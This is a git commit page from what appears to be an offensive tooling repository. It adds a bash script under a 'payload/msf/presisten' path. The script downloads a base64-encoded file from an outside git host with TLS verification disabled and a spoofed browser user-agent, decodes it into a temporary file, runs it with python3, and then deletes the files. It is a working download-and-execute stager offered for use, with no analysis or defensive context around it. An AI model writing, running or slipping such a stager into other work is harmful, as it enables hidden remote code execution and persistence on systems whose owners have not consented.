Add payload/msf/presisten/pres.sh
This commit is contained in:
parent
629bba459a
commit
e40d5ca5c0
24
payload/msf/presisten/pres.sh
Normal file
24
payload/msf/presisten/pres.sh
Normal file
@ -0,0 +1,24 @@
|
||||
#!/bin/bash
|
||||
|
||||
URL="https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/raw/python/prepy"
|
||||
TEMP_FILE="$(mktemp /tmp/tmp_prepy.XXXXXX)"
|
||||
|
||||
# Unduh file dengan curl
|
||||
if command -v curl &> /dev/null; then
|
||||
curl -s -k -A "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0" "$URL" -o "$TEMP_FILE"
|
||||
elif command -v wget &> /dev/null; then
|
||||
wget --no-check-certificate --quiet --user-agent="Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0" "$URL" -O "$TEMP_FILE"
|
||||
else
|
||||
echo "Error: curl or wget not found. Please install one of them." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Decode Base64
|
||||
DECODED_FILE="$(mktemp /tmp/decoded_prepy.XXXXXX)"
|
||||
base64 -d "$TEMP_FILE" > "$DECODED_FILE"
|
||||
rm -f "$TEMP_FILE"
|
||||
|
||||
# Jalankan file Python
|
||||
ochmod +x "$DECODED_FILE"
|
||||
python3 "$DECODED_FILE"
|
||||
rm -f "$DECODED_FILE"
|
Loading…
Reference in New Issue
Block a user